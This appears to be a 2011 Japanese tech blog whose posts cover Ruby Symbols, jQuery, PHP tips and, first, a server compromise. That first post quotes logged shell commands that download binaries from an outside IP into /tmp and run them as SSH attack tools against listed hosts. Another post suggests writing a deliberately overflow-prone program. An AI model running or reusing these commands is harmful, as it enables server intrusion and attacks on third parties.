sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 &gt;/dev/null 2&gt;/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  &gt;/dev/null 2&gt;/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 &gt;/dev/null 2&gt;/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツのサーバからプログラムをダウンロードして実行するみたい。

ちなみに、いろんなサーバにssh 接続を試みるプログラムっぽい。

このプログラムたちは2007年の11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年 7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApacheを更新しなかった自分が悪いと思っている。

「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

Permalink | トラックバック(1) | 23:10

2011-07-16

■[ruby] Symbolについて

RubyのSymbolと文字列の違いを研究室の輪講用に書いたのですが，折角なので公開したいと思います．

元々学部生に対する輪講用に書いた物なので，若干上から目線ですがご了承ください．

Symbolの意義は何か

文字列とSymbolはよく似ています．プログラマから見ればどちらも文字列です．違いを一言で説明すると『プログラムが扱う』文字列か，『プログラマが見る』文字列かの違いです．例えば変数名は『文字列』ですが，rubyのオブジェクトである『文字列』ではないですよね？

例えば，今あなたがC言語でお絵描きライブラリを作っているとしましょう．その中に，色で塗りつぶすfillという関数があり，色を青・赤・緑の3色から選べ，fillの引数でそれを指定できるとしましょう．

fillの引数の設定方法として一番単純なのが，0を青，1を赤，2を緑として，0〜2で選択させる方法でしょう．しかし，それでは，どの数値が何色か覚えないといけないし，fill関数を知らない人から見れば，どういう意味の引数かすらさっぱり分かりません．

ではどうするかと言えば，普通はBLUE = 0, RED = 1, GREEN = 2と適当に定数を設定して，その定数を引数で指定させますよね．

こうして，fill関数の引数が意味の無い数値から意味のある文字列に変わったことによってプログラムが分かりやすい物となります．さて，ここで注意してほしいのは，ここで言う文字列はプログラムが扱うオブジェクトとしての文字列では無いということです．fill関数の引数として，"BLUE"，"RED"， "GREEN"などとC言語の文字列を渡すということは普通しませんよね．それは，ここで言う文字列は，あくまでプログラマがプログラムコードを分かりやすくするために必要な文字列であって，プログラムがオブジェクトとして扱う（例えば，長さを求めるとかする）文字列ではないからです．

分かってきたでしょうか？

プログラムコード上では（つまりプログラマから見れば）どちらも同じ文字列（文字の列という意味で）ですが，実際に動くプログラムから見れば単なる数値と本物の文字列という大きな違いです．結局，fill関数の引数の具体的な値は何でもいいわけです．プログラマから見て文字列であればそれだけでよく，プログラムが動くときの実際のその中身は何でもいいわけです．これのために存在するのが，Symbolであり，:fooとひとたびSymbolを作成すれば:fooの実態は適当な数値となります．（この数値がいくらかなんていうことはもちろん気にする必要はありません）

そして，もちろん同じプログラム上では:foo == :fooはちゃんと成り立ちます．もうここまでくれば，Hashのkeyとして文字列でなくSymbolを使う理由が分かりますね．Hashのkeyはあくまで，プログラマが見る（プログラムコードを分かりやすくするための）文字列であってプログラムが扱うオブジェクトとしての文字列では無くて，keyの実際の値は何でもいい，からですね．（特別な場合を除いて）Hashのkeyに対してrubyのStringのメソッドを使うなんてことは無いですよね．

なぜrubyにはSymbolが存在するのか

しかし，他の軽量言語ではSymbolなどなくHashのkeyとして普通に文字列を使うことが多いです．では，なぜrubyだけSymbolを使うのでしょうか．

その答えは一言でいうと，rubyの（プログラムコード上に直接書かれた，つまりリテラルの）文字列は他の言語と違いimmutable(不変)でない，からです．実際，pythonやjavascriptの文字列(リテラル)は破壊的に変更することはできませんが，rubyの文字列は破壊的に変更することができます．（'abc'.concat('d')の様に）

これがどういう違いを生むかというと，コード上に直接現れる文字列がimmutable(不変)であるならば，実行時に一つだけそのオブジェクトを作成し，後はそれを使いまわすという最適化ができます．

そうした時，Hashのkeyの様なプログラマから見た文字列というのは，プログラムコード上のリテラルとして現れるわけですが，これらは実行時に一つだけオブジェクトが作成され（特にコード上に現れる同じ文字列は全て一つのオブジェクトにまとめると），それらの比較はそれらに対する参照（そしてこれは大抵メモリのアドレスなど単なる数値）の比較で済むので，結局Symbolと同じ様な働きをするわけです．

本当はプログラマが見るためだけの文字列だけど，それをオブジェクトとしての文字列としても，Symbolと同じ様な働き，パフォーマンスが得られるならば，別にオブジェクトとしての文字列であってもいいわけです．

繰り返しになりますが，プログラマが見るためだけの文字列は，その中身・実態は何でもいいわけですが，その実態がオブジェクトとしての文字列でも十分なパフォーマンスが得られるならば，別にオブジェクトとしての文字列でもいいわけです．

さて，rubyに話を戻しますと，rubyはコード上に現れる文字列であっても，実行時にそのコードを通る度に毎回新たな文字列オブジェクトを作成します．

（以下のプログラムを動かすことで確認できる．）

def foo
  'foo'.object_id
end
p foo, foo

つまり，rubyでは文字列が可変であるため，先に述べたような最適化ができない（または難しい）ので毎回新たな文字列オブジェクトが作成されるのです．

こうなると，先ほどの話とはうってかわって，プログラマが見る文字列はその実態は何でもいいのに，それを文字列リテラル（rubyのオブジェクトとしての文字列）にしてしまうと，毎回毎回文字列オブジェクトが作成されてしまうという非常にばかばかしい状況になってしまいます．我々はそれらの文字列オブジェクトに文字列としての操作は一切施さないのにも関わらず，です．

こういうわけで，rubyではプログラマが見るためだけの文字列にSymbolというruby特有のものを使うのです．

もちろん，プログラマが見るためだけの文字列を全て定数として（そしてもちろん中身は適当な値で）定義しても構わないわけですが，Hashのkeyとかで数多くのプログラマが見るためだけの文字列が現れることを考えると，とてもじゃないですけどそんなことは面倒でやってられないですよね．ですので，実行時に自動で適当な値にしてくれるSymbolというものが存在するのです．

以上で，Symbolについての説明を終えます．以下は蛇足です．

おまけ

最初の方で出てきたfill関数をrubyで実装しようとしたとき，青・赤・緑の各色はその実際の値はなんでもいいのでrubyのSymbolを使って:blue, :red, :greenとしてもいいのですが，ライブラリとかでは大抵ちゃんと定数として定義されていることが多いです．

これは恐らく，定数として明示的に定義することで値の存在を明示でき，ドキュメント化の際にも役立つことによっているのでしょう．

Symbolだと，良くも悪くも定義がいりませんから．

しかし，あくまでこれは外部に公開するようなライブラリでの話であって，自分が使うちょっとしたプログラムならこういう場面でも精力的にSymbolを使っていってもいいと思います．ちなみに，僕ならSymbolを使います．

Symbolだと定義もいりませんし，定数は大文字ですから打つのが面倒ですし，あまりソースに大文字が入ると見た目がすっきりしません（主観）．

Symbolは非常に便利なものですので，その意義・用途を十分に理解して，Hashのkeyにとどまらず様々な所で使えるようになりましょう．

Permalink | トラックバック(0) | 01:07

2011-06-27

■jQuery.fileTree と日本語 ファイル名 (IIS & PHP)

IIS+PHP(つまり Windows 環境)で

A Beautiful Site (http://abeautifulsite.net/)さんの

jquery.fileTreeを利用させてもらった。

以下、留意点...

script:

パスを指定しないと、もとのhtmlがあるパス(ディレクトリ)にあるものと解釈する。

(/jqueryFileTree.php と指定すると、公開しているルートディレクトリにあるjqueryFileTree.phpを探しにいく)

http://...と指定して他のサーバへ問い合わせるのも可能な模様(だが、試していない)。

root:

Windowsの場合は、最後に/または￥が必要。

d:/

d:/temp/

など

日本語文字化け対策:

hemlentries -> htmlspecialchars は必須。

　http://treatment-head.blogspot.com/2008/11/jquery-file-tree_21.html

　ただし、UTF-8やEUC-JPでページを記述している場合は、さらに処理が必要。

phpではscandirなどのファイル処理において

windowsでは、mbstringの設定にかかわらず、引数 SJIS渡し、戻り値 SJIS返しの模様。

したがってUTF-8やEUC-JPでページを記述している場合は、

その点を考慮してconnectorsフォルダにあるjqueryFileTree.phpを書き換える必要がある。

(きれいなソースでないので公開はちょっと控えます)

このphp ファイルの先頭に

$_POST['dir'] = urldecode($_POST['dir']);

という行があるが(スーパーグローバル変数はデコード済みで、さらにデコードするのは危険とphp マニュアルに記載されている)

どのみちUnicode 文字列のURL デコードはこの関数では無理なようなので、php マニュアルのUserNoteから拝借。

http://php.net/manual/en/function.urldecode.php

こちらにズバリが掲載されているか...と試してみたが、どうも動作がうまくいかなかった

http://ameblo.jp/pushurinko/entry-10287161493.html

他、ご参考

　http://life-hack.jp/blog/charly/151

Permalink | トラックバック(0) | 17:33

2011-05-30

■http://anond.hatelabo.jp/20110530004826

まぁ、バグ放置報道は「致命的なバグがあると知って」放置した場合だからな。

ログが残る経路で連絡されたら放置できないって感じになるか。

ところで、そのプログラムじゃ意味がなくって、引数でデータを渡して、バッファオーバーランが起こるようなプログラムがいいと思うよ。

コンパイラも通るし、「仕様通りに」データが渡されれば問題なく動く。

文字列をポインタで受け取ったあげく、レングスチェックを行わずに処理すれば良いだけの、簡単なお仕事。

Permalink | トラックバック(0) | 10:34

2011-05-02

■【Webサイト 制作】独学素人がjQueryで、ドラクエ画面を作ってみた

こんなサイトを作ってみました

　オッス、オラ日曜ネット大工。

　１年に１回くらい趣味でwebサイトを作ったりする独学素人ノンプログラマーです。

　仕事はＩＴ系にかすりもしないけど、たまにサイトが作りたくなるんです。

　htmlもCSSも知識不足ですが、作成ソフトに頼ればなんとかなります。

　そんなレベルで無謀にも「JavaScriptも使いたいな」とか思ったりするわけですよ。

　で、たまに「簡単にわかるJavaScript入門」なんてサイトや記事がありますよね。

　ああいうのを書いてくださる人に、ちょっと言いたい。

　あの、独学素人ノンプログラマーの俺をなめてませんか？

　あなた方の想像を絶するほどに、俺のＩＴ系理解能力はゴミクズですよ！

　「簡単に分かる入門」にさえ入門できません助けて先生！

　と、鼻水をたらしながら泣き出すような底辺レベルのスキルしかないザコであります自分は。

　ですが、jQueryと出会い、見よう見まねと思いつきで作ったら、こんなんできました。

ドラゴンクエスト・ロトシリーズのストーリーまとめ

　jQueryってやつを使えば、ド素人にもこんなものが作れるんですね。

　超簡単で超便利！　作ってめっちゃ感動した！

　そんな感動を伝えるため、このサイトの中身を説明してみます。

　あと自分の個人的な超自己満足！　いやっほぅ！

　なお、素人なんで専門的な解説は他にお任せします。

　用語とかあんまり使わずに、中高生でも読めるレベルで語ります。

　（小学生はがんばれ！　めっちゃがんばれ！）

　web制作にくわしくない方にも「どうなってるのか？」って雰囲気は伝わるかと思います。

　技術はないけど、人とは違ったwebサイトを作りたいって方、jQueryマジオススメです！

　きちんと勉強されてる方からすれば失笑ものの内容かもしれませんが、ご容赦を。

　よくある「入門」すら難しく感じる自分のような方々に届けるつもりで書きます。

　くわしい方は、間違いなどがあれば温かくご指摘いただければ幸いです。

　あと、「知識不足の人間はこんな思考をしてるのか」という参考になればうれしいです。

　前置きが長くなりましたが、それではサイトで使用した４つの jQueryを説明します。

１・パッケージ 画像が拡大されて表示されるとこ

　jQueryには「プラグイン」ってのがあります。

　プログラマーさんたちが作った高性能なjQueryのコードなんですが、このプラグインってのが超便利なんです。

　使い方は、すでに作られているコードをコピーして、ちょっとのアレンジするだけ！

　自分でゼロから作れなくてもＯＫなんです。

　昔、jQueryの知識がほぼゼロだったころ、このプラグインを知りました。

　で、俺も「カッコいいプラグインが使いてええ！」と考えて試しに使ってみたわけです。

　けどまあ、プロが作ったコードを、知識ほぼゼロで動かそうなんて甘すぎですよね。

　でも、あんまり深く考えずに、貼りつけて動かしてみたところ――

　あっけないほど簡単に動きました。

　それがサイト内の、パッケージ画像にマウスを合わせると大きくなる部分です。

　みなさま、マウスを合わせて動くか確かめてみてくださいませ。

　きれいな動きしてるだろ？　ほぼコピペなんだぜ、それ。

　プラグイン「Bubbleup」

　紹介記事１マウスオーバーを気持ち良くするjQueryプラグイン「Bubbleup」 | Web活メモ帳

　紹介記事２ JavaScript + Ajax 実践サンプル集 - jQueryのbubbleupプラグインでアイコンを拡大する

　配布元（英語）BubbleUp jQuery Plugin to Spice Up Your Menu | AEXT.NET MAGAZINE

　ネット上にはこういうのがいっぱいあるんで、ぜひいろいろ眺めてくださいませ。

　とりあえず、プラグインのまとめサイトを置いておきますね。

jQuery 469 プラグイン：skuare.net

　こういうの眺めても、「どうせこんなの使えないし」と思えますよね。

　でも、「これがコピペで使えるのか！」と思えば楽しくなってきません？

　このプラグインってのを使いこなすには、htmlとCSSの知識が必要です。

　ですが逆に言えば、それと切り貼りアレンジだけで、高性能のjQueryが使えるわけです。最高ですぜ。

２・最初の消える画面

　プラグインを貼ってカッコよく動いたんで、

「やっぱ俺天才だな、自作も楽勝じゃね？」

　と考え、最初に作った自作のjQuery 部分が、サイトの表紙です。

　世の中には、JavaScriptを有効にしていない人がいます。

　たとえば、決して私ではありませんが、エロサイトで出る変な広告表示をさけるため、それを切っている人もいます。

　で、頻繁にエロサイトに通いすぎて、切ったままなのを忘れて普段のサイトを巡ると、たまに表示がおかしくなる。

　あれは実に面倒らしいですね。噂で聞きました。

　で、そんな人のために「JavaScriptを有効にしてください」と書いた表紙をつけたわけです。

　ですが、jQuery はまだよく分かってなかったんで、「入門」のサイトを眺めてました。

　で、いくつか読んでみても、やっぱりすぐには分からん……。

　でもね、そういうとこには、「練習用サンプル」ってのがあるんですよね。

　練習台で「ボタンをクリックすると画像が非表示になる」みたいなのがあったんで――

　それをほぼコピペしました。ふひひ。

　みなさま、いかがでしょ？

　サイトのjQueryは、「画像をクリックすると画像が非表示になる」とアレンジしています。

　最初に現れる画像をクリックすると、画像が消えて下の画面が現れましたでしょうか？

（JavaScriptを切っていると動きませんのでご注意を）

　この表紙は１枚の大きなjpg 画像で、それをクリックすると消えるようになってます。

　よく分からんまま見よう見まねで貼りつけて動かしただけなんですが、こ、こいつ、動きます！

　なんつーか、簡単すぎる。マジで jQueryに万歳三唱です。

＜自分が主に使った入門用サイトの紹介＞

　はじめてのjQuery

　・５分ほどのスライド。最初見たときは知識不足で理解不能だった。

　ASCII.jp：40分で覚える！jQuery速習講座

　・初心者の神・西畑一馬様の入門講座。jQueryの雰囲気が分かる！

　なお、「はじめてのjQuery」を見たのが、このドラクエサイトを作るきっかけでした。

　黒い画面に浮かぶスライドを見て、「ドラクエの画面っぽい」とひらめいたのです。

　いろんなjQueryのサイトを見てパクれる……いや、参考になるのを探すのは面白いかと思います。

　うちのサイトを見て、「懐かしのゲームブック風サイトを作りたい！」とかひらめいてください。

　個人的に楽しみたいので、ホントぜひどうか誰かひらめいてください！

　で、簡単に動くのを見て、jQueryのすごさを改めて思い知り、きちんと勉強しようと考えました。

　そこで助けられたのが、jQuery 初心者の救世主「西畑一馬」さんの記事です。

　それを見ながらようやくjQueryの勉強を始めたのです。

　なお、本格的に勉強しようという人は、入門の「速習講座」より、

　ASCII.jp：Web制作の現場で使えるjQuery　UIデザイン入門

　という記事がオススメです。

　これも同じく西畑さんの記事なのですが、こちらは量が膨大にあります。

　速習講座では軽く流された部分も、一個ずつ丁寧に解説されています。

　本気でやる気に火がついた方にはこちらがオススメです。

　というか、西畑さんは本を書いてはるので、それを買いましょう（布教）。

　サイト作成ではホンマに助けていただきました……！

３・「すすむ」と「もどる」

　勉強しながら、コピペでなく試行錯誤で作ったのがこれです。

　ここは入門によく書かれる「アコーディオンパネル」をアレンジして作りました。

　アコーディオンのように開いたり閉じたりするアニメーションでの演出です。

　jQueryは、簡単にいろんなアニメーション効果がつきます。これが楽しんです。

　そこから３種類を紹介すると、

ノーマルアニメーション：単純な表示or非表示の切り替え
スライドアニメーション：隠れてたのが下におりて現れるor上に隠れて消える
フェイドアニメーション：フェードインで表示orフェードアウトで非表示に

　どうですか？　なんかおもしろそうじゃないですか？

　自分のサイトの「すすむ」「もどる」で使っているのは、スライドアニメーションです。

＜「すすむ」の仕組み＞

　「すすむ」を押すと、表示部分が上に隠れて消え、次が表示されます。

　あんま気にしなくていいんですが、処理を細かく言うと、

最初は一番目だけが表示部分
クリックで、表示部分の次の二番目も表示
直後に一番目を上にスライドして消すことで、二番目がスライドして現れる

　という変な動きをしています。

　たぶんもっと簡単な処理ができると思うんですが、自力で考えてやるとこんな感じになりました。

＜「もどる」の仕組み＞

　こっちは簡単。

　クリックしたら、表示部分の前の部分がスライドして現れるだけです。

　正直この「すすむ」には苦戦しました……。

　けど、ちょっと苦戦して勉強するところがあるのもまたよいです。

　勉強したおかげで、jQueryの能力がちょっと見えました。

　htmlとかCSSとかからすると、jQuery はなんか信じられないくらい大量のことができます！

　たぶん、jQueryの元になってるJavaScriptがすごいんでしょうね。

　わずかに勉強して改めて、使いこなしているプログラマーのすごさを思い知りました。

４・「もくじ」とかの移動

　で、順調に進んでいたサイト作成の最後で壁になったのが、こいつです。

　この目次には、２つの仕組みがあります。

「もくじ」にマウスを合わせると、ひょいっと選択画面が現れる仕組み
クリックすると指定の場所へ飛んでいく仕組み

　１つめの、「マウスを合わせたときの動作」は「hover」というものを使っています。

　hoverってのは、「マウスを合わせたとき」ってことです。

　なんか難しいのが出てきましたが、実はこれも入門講座の例をパ、参考にしました。

　上で挙げた、「はじめてのjQuery」に出てきた「hover」の使い方の例です。コピー万歳。

　でも、いきなり「hover」とか言われても意味が分からん人も多いですよね。

　なので、どんな感じで動いているか、「ふーん」とイメージだけ見ておいてください。

＜処理イメージ＞

初期状態では選択画面を隠す
「もくじを　hover（カーソルを合わせる）したとき」「選択画面を　表示させる」
（hoverじゃないときは、選択画面を隠す）

　ということをやっています。

　これは簡単な処理でした。まあ、ほぼ丸写しですし……。

　で、苦戦したのが、２番目の「クリックして移動」です。

（なお、パッケージ画像をクリックしたときも同じ移動を使っています）

　処理の内容としては、たとえば「ドラクエ１・１話」の項目に飛ぶ場合、

「ドラクエ１・１話」の前の部分すべてをスライドさせて消す。
「ドラクエ１・１話」の部分をスライドさせて出す。

　　（実際に見えるのは、２のスライドして出てくるところだけ）

　という処理です。

　が、なぜかここでエラーが。

　「ドラクエ１・１話」に飛んだ後、「すすむ」がうまく使えない……。

　まるで「次が存在しない」みたいに進まなくなってしまうんです。

　ぶっちゃけると、ここは今でも原因が分かりません。

　で、理屈が分からないから、思いつく方法を手当たり次第試してみました。

　その中で成功したのが、「次が存在しないなら存在させてしまえ」というものです。

　何を言っているか分からないと思いますが、大丈夫、俺も分かりません。

　いちおう処理としては、

　1・「ドラクエ１・１話」の前の部分すべてをスライドさせて消す。

　1.5・「ドラクエ１・１話」の後ろの部分すべてをスライドさせて出す。

　2・最後に「ドラクエ１・１話」の部分をスライドさせて出す。

　　（実際に見えるのは、２のスライドして出てくるところだけ）

　と、１．５を入れたものです。

　自分でもなんで成功したのかはよく分かりませんが、きちんと表示はされています。

　よく分からないなりにも動いてしまったのは、きっとjQueryのパワーだと勝手に納得しておきます。

（ここはきちんと知識のある人に見せるのが恥ずかしい内容ですね。変なコードですみません）

最後にお話ししたい、jQueryのすごいパワー

　つまるところもありましたが、以上がjQueryでの処理です。

　これで何とかサイトは完成しました！

　たまの休日に作成する趣味レベルのサイトとして、自分でもすごく満足です！

　で、このサイトを作って気づきました。

　jQueryは何がすごいかって、これ、めっちゃ楽しいんですよ。

　・プラグインをコピペするだけで見違えるように、サイトが動く。

　・ちょっと表現を覚えるだけで、表現にアニメーションが加わる。

　・さらに研究すればするほど、いろんなことができるようになる。

　今までJavaScriptとか、独学素人なんで、なかなか勉強する気が出ませんでした。

　勉強の大事さは分かるんですが、時間とか取れないです。

　しかも、「関数や引数がどうたらで、まずは足し算をアラート表示」とか、あまりやる気が出ません。

　でも、jQueryは勉強の成果がすぐにめっちゃ分かりやすく出ます。

　たぶん、自分にとって一番効果が大きかったのは、簡単さよりも便利さよりも、「やる気が出る」ってことでした。

　実は、いったん完成した後、付け加えた機能があります。

　それは「すすむ」の部分。

　「最後のページで『すすむ』をクリックすると、始めに戻る」という機能です。

　ここは、jQuery独自の機能を使ったわけではありません。

　JavaScriptの「if構文」を勉強して作りました。

　jQueryもJavaScriptの一種なんで、こういう構文が使えるんですよね。

　どんな感じの処理かを説明すると、

もし、最後なら最初に戻る。
それ以外なら、表示を次に進める

　という、単純なものです。

　単純だけど、初めてのJavaScriptの構文で、自分には大きな一歩です。

　今まで進むことができなかった、本当に大きな一歩を、自然と踏み出せていたのです。

　届けたいので、もう一度書きます。

　jQueryはめっちゃ楽しいです。

　めっちゃ楽しくて、やる気を引き出してくれるんです。

　今はまだ技術はないけど、魅力あるwebを作る力を身につけたい方、jQueryマジオススメです！

　自分も取れる時間は少ないなりに、楽しみながら少しずつ進歩していきたいと思います。

　このような長い文章をご覧いただき、誠にありがとうございました！

Permalink | トラックバック(4) | 04:18

2011-03-30

■http://anond.hatelabo.jp/20110330131752

PHPはよくしらないけどちょっと tan の部分読んでみた

やってることは、PHP_FUNCTION(tan) から libc の tan を呼ぶまでに、zend_parse_parameters で引数をパースして数字かどうかをチェックして数字だったら取り出すってことをやっていた

このチェックはかなり深くて、これだけやってもJavaの10倍いかないってのは驚いた

足し算の部分も似たようなもんだと思う

JavaはIEEE 754のチェックをしてnative methodのtan呼んでるだけだった（読む気がしない）

Permalink | トラックバック(0) | 16:18

2011-03-20

■より良いPHPerにならないための20Tips

http://1-byte.jp/2011/03/20/20_tips_you_need_to_learn_to_become_a_better_php_programmer/

良いPHPerだって？そんなものは丸めてゴミ箱にでも捨ててしまった方が資源の再利用になる分いくらかマシだ。

つまり俺たちがしなくちゃならないことは「より良いPHPerにならないため」に何ができるかってことなのさ。

それじゃ、始めよう。

1. ?>を使うな

?>なんて使っちゃいけない。そう俺たちはBAD PHPer。

無駄なホワイトスペースの出力に悩まされるくらいなら対称性なんて丸めてゴミ箱にでも捨てた方がまだマシだ。非対称性こそが賛美。

2. 設定ファイルをPHPで書くな

require_once("config.php");

未だにこんなことやってるやつがいるのかいベイベー。絶対にダメだ。この一行を見たら俺は悶絶する。

ダメだ、早く何とかしないと。

大抵このconfig.phpの中身はこうなっている。見て絶望だ。

$hoge_path = '';
if (!LOCAL) {
    define('FOO_FLAG', 1);
    if (HONBAN) {
        define('HOGE_FLAG', 1);
    }
    else if (TEST) {
        define('HOGE_FLAG', 2);
    }
}
else {
    $hoge_path = '/local';
    define('FOO_FLAG', 2);
    define('HOGE_FLAG', 3);
}

define('HOGE_URL', $hoge_path.'/hoge/');

こういうのが延々と続くわけだ。もういやだ。もう見たくない。

本番環境とテスト環境でどういう値の違いがあるのか、ローカル環境だとどうなるのか、まったく把握できる気がしない。

なまじPHPな設定ファイルのせいで、処理をついつい書いてしまう。そしてどんどん複雑になってしまう。

やはり設定データは基本的にYAML等のデータしか定義できない形式のもので用意すべきだ。そして環境ごとに設定ファイルを分けるべきである。

そうすることで何にどういう違いがあるのかすぐにわかるし、diffすれば一度にすべて把握することができる。

# 本番環境設定ファイル
foo_flag: 1
hoge_flag: 1
hoge_url: '/hoge/'

# テスト環境設定ファイル
foo_flag: 1
hoge_flag: 2
hoge_url: '/hoge/'

# ローカル環境設定ファイル
foo_flag: 2
hoge_flag: 3
hoge_url: '/local/hoge/'

3. コメントを信用するな

そう、あなたはこんな状況に遭遇したことがあるんじゃ？

// ここで後の処理のためにhogeメソッドを呼び出しておく
$q->foo();

// $a['foo']はここに来る時点で真のはず
// 2010-03-10 判定がおかしいので修正
// 2010-06-21 やっぱり値が入ってる方が正しい
if ( !isset($hoge[0]) ) {
}

コメントは保守されない。そう、それは真実。こんなコメントを発見したら即効削除しよう。コメントは基本信じるな。

俺たちにちょっとしたヒントと大きな損害を与えてくれる、それがコメントの役割なのだ。

4. タブとうまく付き合うしかない

わかる。いいたい事はとてもわかる。俺たちはしばしばインデントにスペースを使うはずだ。一方でIDE のしっかりした言語ではタブも使うことがある。しかし悪いことに、両者を混同しているプログラマも一定数いるのだ。

タブを画面上で認識しにくいエディタが世の中には存在する（何とは言わないが）

そして画面上で認識しにくいことを理由にタブを気にしないプログラマがいる。

この二つの条件が重なると、タブとスペースの交じり合ったインデントが完成する。もうぐちゃぐちゃだ。これは永遠に続く戦いだ。

私たちが勝利を掴むためにできることなどせいぜい、常にスペースしか使わない。タブを見つけたらその都度スペースに変換する。そういった地道な活動が明日へとつながるのだ。

5. 変数名に時間をかけるな

われわれがプログラムをするとき、何に一番時間がかかってるか。実は変数の命名なのである。ここで拘り過ぎて時間をかけ過ぎては何も進まない。

御託はイイからさっさと書け、だ。しかしとはいっても変数名は重要。日頃からどういうときにどんな名前を使うかを決めておくといい。

そして変数名に型はまったく必要ない。型宣言のないPHPにおいて、型の変数名をつけること自体ナンセンスだ。

コンパイラ様に保証されてない状態での

$iNumber = 'aaa';

になんの意味もない。コメントを信じるなでも言ったが、これはプログラマを混乱させるだけの害悪なものだ。

6. 変数の初期化の場所

変数を使う前に初期化するのは、警告を出さないという意味でも良い癖だ。しかし具体的にどこでやるかが問題だ。

$foo = null;
$foo = $q->foo();

こんな初期化に意味はない。よくあるのはやはり、if文で値を振り分けるケースだろう

$foo = null;
if ( $hoge ) {
    $foo = 1;
}
else if ( $bar ) {
    $foo = 2;
}

このときの初期化はとても有効だ。もしnullの初期化を忘れたまま$fooを使うと警告が出るが、ちゃんと初期化してるので出ない。基本中の基本だ。

7. 不正なら常に死ね

function getStatus() {
    $bReturn = false;
    if ($i == 2) $bReturn = true;
    return $bReturn;
}
(中略)

もし、何かしらの理由で、あなたの書いたif文が間違っていたら？

この書き方をしていれば、間違った値に対して、常にfalseが返る。

私たちが、PHPでsensitiveなデータを取り扱うなら、正しいデータが入力されるまでは、動かないコードを書くべきだ。

trueとfalseの条件がいまいち明確ではないが、本当に動かないコードを書けというのであれば以下のようにすべきだ

function getStatus() {
    $bReturn = false;
    if ($i == 2) $bReturn = true;
    else if ($i == 1) $bReturn = false;
    else throw new Exception("bad status! $i");
    return $bReturn;
}

中途半端にfalseを返して生存させる必要性はまったくない。今すぐ死ね！

8. 連想配列のキーにアクセスする場合

単なる配列に対して数値をクオートで囲う必要はない。

連想配列のキーを指定する場合だけ定数と間違わないようにクオートで囲まなければならない。そして逆に定数を使いたい場合はクオートで囲ってはいけない。

更に後世のプログラマが処理を見たときに、定数が使いたかったのか、文字列が使いたかったのかを明確にしたい場合はconstantを使うと良い。

// 定数のFOOを使うよということが明確になる
print $a[constant('FOO')];

9. echoよりもprintfを使え

もし、文字列を変数の値と一緒に出力するとき、PHPではコンマの代わりにprintfを使うことが使える。

なぜ？コンマを使うよりも可読性がグッとあがるからね

printf( “Hello, my name is %s“, $sName);

以下の代わりに上記のコードを使う。

echo “Hello, my name is “, $sName;

出力すべき変数が増えれば増えるほど、有効になっていく。とにかく迷ったならば、printfを使え、だ。

10. 三項演算子は一回まで

三項演算子はとても有効だ。しかし優先順位に難があるせいで、三項演算子をネストしようとすると以下のようなコードになってしまう

$n = (($i == 1) ? 2 : (($i == 2) ? 3 :$i));

括弧だらけで読みにくいったらありゃしない。三項演算子を使うなら一回まで。約束守れないやつは丸めてゴミ箱にでも捨てちまえ。

11. 真偽値のチェックは生でいけ

if ( $flag ) {
}

仕様をちゃんと把握しているなら真偽値のチェックなどこれで十分。

もし事前にbool型だというのが確定してるのなら「$flag === true」を使えばいい。

12. ++と--の演算子を見極めろ

インクリメント、デクリメント演算子は前に付くか後ろに付くかで意味が変わるので慣れるまでは非常にややこしい。

わけがわからなくなるくらいなら初めから使わないほうが良い。見極められないなら使うな。それがPHPerなのだ。

13. 代入演算子を使え

文句なしだ。これは文句がない。

他にも色々あるので覚えておこう

$a %=  1;
$a &=  1;
$a |=  1;
$a ^=  1;
$a <<= 1;
$a >>= 1;

14. 変数のdump 関数はより便利に

てっとり早く画面に表示する際にpreはよく使うが、デザインの関係上画面の文字が見えないときがある。

なのでdivを使って以下のようにしとくと便利だろう。

function p($var) {
    echo "<div align='left' style='background-color:white;color:black;'><pre>";
    print_r($var);
    echo "</pre></div>";
}

15. 定数から手を洗え

君らが通常作るアプリケーションなんぞに、定数なんぞ必要ない。いいか、もう一度言う、お前ら程度のもんが、定数使おう何ぞ、おこがましいわ！

大丈夫。なんでもかんでも定数にする必要はない。結局設定ファイルに定数をずらずら作りまくってわけがわからなくなってるパターンが多い。

貴様みたいなもんに、定数は制御できん。いいか設定ファイルはYAML等のデータで持つようにし、その連想配列のデータ構造を一つ持ってるだけで定数の変わりになる。

このメリットに比べれば、定数だと書き換えられなくて良いという利点などこの歯のカスほどのものだ。そんなものは丸めてゴミ箱へ捨ててしまうといい。

認識を改めろ。俺たちはより良いPHPerにならないために努力している。

16. $_GETと$_POSTを生で使うな

できれば何かしら簡単なクラスでもいいのでラップしろ。

class Request {
    private $parameters;
    private $method;
    function __construct () {
        $this->method = $_SERVER['REQUEST_METHOD'];
        if ( strtoupper($this->method) === 'POST' ) {
            $this->parameters = $_POST;
        }
        else {
            $this->parameters = $_GET;
        }
    }
    function param ($key) {
        return isset($this->parameters[$key]) ? $this->parameters[$key] : null;
    }
}

これだけでもいい。たったこれだけでもとても便利だ。ここから拡張してGETやPOSTを明示的に取るメソッドとかも作ってみるといい。自分の手を動かすのだ！

17. 関数だのオブジェクトだのの問題ではない

例が良くない。こんなのは引数が20個ある関数から、setを20回呼ぶオブジェクトに変わっただけではないか。

そもそもこの20個の引数とはなんなのか。何かのデータ構造なんであれば連想配列にして引数一つとして渡すべきだし、それぞれまったく異なる用途の変数なのであればWindows プログラミングじゃあるまいし、20個も引数取る時点で設計が間違えている。

何がいいたいか。別に関数でもオブジェクトでもどっちでもいいということだ。

そんなことで悩んでる暇があったら設計を見直せ。

18. メソッドチェインを愛用せよ

スキあらば自分自身を返せ。スキあらばオブジェクトを返せ。配列はArrayObjectのARRAY_AS_PROPSで返せ。

ひたすらメソッドチェイン。来る日も来る日もメソッドチェイン。とにかくメソッドチェインを使い続けろ。そこに未来はある。

19. コードの汎用化は慎重に

どんなコードも繰り返すな。もし、少しでも同じコードを書いていたなら、それは関数に置き換えてしまえ。

・・・と、いうのはやめなさい。

